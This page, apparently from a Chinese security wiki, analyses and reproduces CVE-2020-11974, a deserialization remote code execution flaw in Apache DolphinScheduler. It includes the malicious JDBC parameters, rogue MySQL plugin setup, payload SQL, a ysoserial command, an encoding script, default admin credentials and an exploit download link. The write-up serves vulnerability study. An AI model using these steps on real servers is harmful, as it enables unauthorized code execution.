menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (CVE-2020-11974)Apache DolphinScheduler 远程代码执行漏洞 chevron_right (CVE-2020-11974)Apache DolphinScheduler 远程代码执行漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (CVE-2020-11974)Apache DolphinScheduler 远程代码执行漏洞.md
    6.17 KB / 2021-07-15 19:47:45
        (CVE-2020-11974)Apache DolphinScheduler 远程代码执行漏洞
    ==========================================================
    
    一、漏洞简介
    ------------
    
    CVE-2020-11974与mysql
    connectorj远程执行代码漏洞有关,在选择mysql作为数据库时,攻击者可通过`jdbc connect`参数输入`{“detectCustomCollations”:true,“ autoDeserialize”:true}`
    即可在DolphinScheduler 服务器上远程执行代码
    
    二、漏洞影响
    ------------
    
    Apache DolphinScheduler = 1.2.0、1.2.1
    
    三、复现过程
    ------------
    
    ### 漏洞分析
    
    看到这个poc的时候
    
        {"detectCustomCollations":true,"autoDeserialize":true,"serverTimezone":"UTC"}
    
    其实我第一反应就是2019年的blackhat的那个利用但我又不太确定,直到我按照其他师傅复现的19年的blackhat的那个漏洞利用方式来复现成功,仔细分析了一波。我们先看这个创建数据库的接口。当我们点击create之后
    
    ![1.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId25.png)
    
    进入该controller
    
    ![2.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId26.png)
    
    并调用service层的createDataSource方法
    
    ![3.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId27.png)
    
    最终调用DriverManager.getConnection进行连接数据库
    
    ![4.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId28.png)
    
    我把这段代码拿出来,有没有很熟悉
    
        connection = DriverManager.getConnection(datasource.getJdbcUrl(), datasource.getUser(), datasource.getPassword());
    
    ![11.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId29.png)
    
    (其实也可以直接用其他师傅之前写的Fake\_Mysql\_Server,我这边就不再去试了。)分析到这里还不够,我们回来看看这个Mysql Connector/j的版本号
    5.1.34符合其他师傅复现的那个洞的版本号
    
    ![5.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId30.png)
    
    除此以外,发现yso的利用链跟commons-collections的版本号也是3.2.2也不符合,一开始想着去寻找其他的利用链路,后来参考了下fnmsd师傅的文章发现,已经找到了利用链,那就是直接复现这个洞就好了
    
    ![6.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId31.png)
    
    跟进
    DriverManager.getConnection,继续接着上面的连接分析,而当detectCustomCollations设置为true的时候com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
    
    ![7.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId32.png)
    
    跟进后
    
    ![8.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId33.png)
    
    最终进入到getObject
    
    ![9.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId34.png)
    
    最终反序列化我们传入的payload
    
    ![10.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId35.png)
    
    ### 漏洞复现
    
    -   配置mysql
    
    #### 1. 安装rewrite插件
    
    以下安装方式任选其一
    
    ##### 【任选】编译插件
    
    下载mysql-5.7.28源码到/root/mysql-5.7.28,`https://launchpadlibrarian.net/451650638/mysql-5.7_5.7.28.orig.tar.gz`
    
           gcc -shared -Wall -fPIC -o /usr/lib/mysql/plugin/rewrite_example.so rewrite_example.cc  -I/root/mysql-5.7.28/include $(mysql_config --cflags) $(mysql_config --libmysqld-libs) -DMYSQL_DYNAMIC_PLUGIN -lmysqlservices
    
    ##### 【任选】直接使用本git仓库中的rewrite\_example.so
    
    复制rewrite\_example.so到/usr/lib/mysql/plugin/rewrite\_example.so即可。
    
    > rewrite\_example.so在Ubuntu16.04编译,如安装时出现问题请自行编译。
    
    #### 2. 安装插件,建表,插入二进制数据
    
    安装插件
    
        INSTALL PLUGIN rewrite_example SONAME 'rewrite_example.so';
    
    建表
    
    1.  创建数据库:codeplutos,请自行创建
    2.  建表sql如下
    
    ```{=html}
    <!-- -->
    ```
        SET NAMES utf8mb4;
        SET FOREIGN_KEY_CHECKS = 0;
    
        -- ----------------------------
        -- Table structure for payload
        -- ----------------------------
        DROP TABLE IF EXISTS `payload`;
        CREATE TABLE `payload` (
          `COLLATION_NAME` varchar(255) DEFAULT NULL,
          `CHARACTER_SET_NAME` blob,
          `ID` int(5) DEFAULT NULL,
          `IS_DEFAULT` varchar(255) DEFAULT NULL,
          `IS_COMPILED` varchar(255) DEFAULT NULL,
          `SORTLEN` int(5) DEFAULT NULL
        ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
    
        -- ----------------------------
        -- Records of payload
        -- ----------------------------
        BEGIN;
        INSERT INTO `payload` VALUES ('1big5_chinese_ci', 0x01, 1, 'Yes', 'Yes', 1);
        COMMIT;
    
        SET FOREIGN_KEY_CHECKS = 1;
    
    生成payload
    
    首先ysoserial生成payload(我这里直接用fnmsd师傅改的改的ysoserial.jar)
    
        java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRE8u20 "touch /tmp/1.txt" > t
    
    `touch /tmp/1.txt`
    这个替换成自己想要执行的命令,在同个目录下用这个py脚本进行转码生成payload字符
    
        import os
        import binascii
        with open("t", 'rb') as f:
                payload_content = str(binascii.b2a_hex(f.read()))
                print payload_content
    
    ![1.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId41.png)
    
    写入数据库
    
        set @a=0x这里修改为你的payload;
        update codeplutos.payload set character_set_name = @a;
    
    默认用户名密码登陆
    
    `admin/dolphinscheduler123`
    
    ![2.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId42.png)
    
    点击添加数据库
    
    ![3.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId43.png)
    
    填入信息,点击create(而不是connect,我在这里踩过坑)
    
    ![4.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId44.png)
    
    复现成功,创建了一个1.txt
    
    ![5.png](./resource/(CVE-2020-11974)ApacheDolphinScheduler远程代码执行漏洞/media/rId45.png)
    
    #### 上述中的poc下载地址
    
    `https://download.0-sec.org/Web安全/Apache DolphinScheduler/CVE-2020-11974/DolphinschedulerExploit-master.zip`
    
    参考链接
    --------
    
    > https://xz.aliyun.com/t/8304
    
    
    links
    file_download